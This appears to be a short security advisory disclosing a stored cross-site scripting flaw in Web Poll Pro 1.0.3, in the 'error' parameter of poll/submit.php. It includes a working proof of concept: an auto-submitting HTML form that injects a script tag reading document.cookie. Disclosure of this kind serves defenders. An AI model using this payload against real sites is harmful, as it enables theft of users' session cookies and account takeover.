Web Poll Pro version 1.0.3 suffers from a cross site scripting vulnerability.
f8fe190fe04cc434abcaf1a0cf5c5ac8f54d44612355e537500815c167c71fd7
Product: Web Poll Pro
Vendor: http://www.got.my
Vulnerable Version: 1.0.3 and probably prior versions
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: Hector.x90
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "poll/submit.php" script to properly sanitize user-supplied input in "error" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/poll/poll.php&page=edit" method="post" name="main">
<input type="hidden" name="poll" value="1">
<input type="hidden" name="error" value='description"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>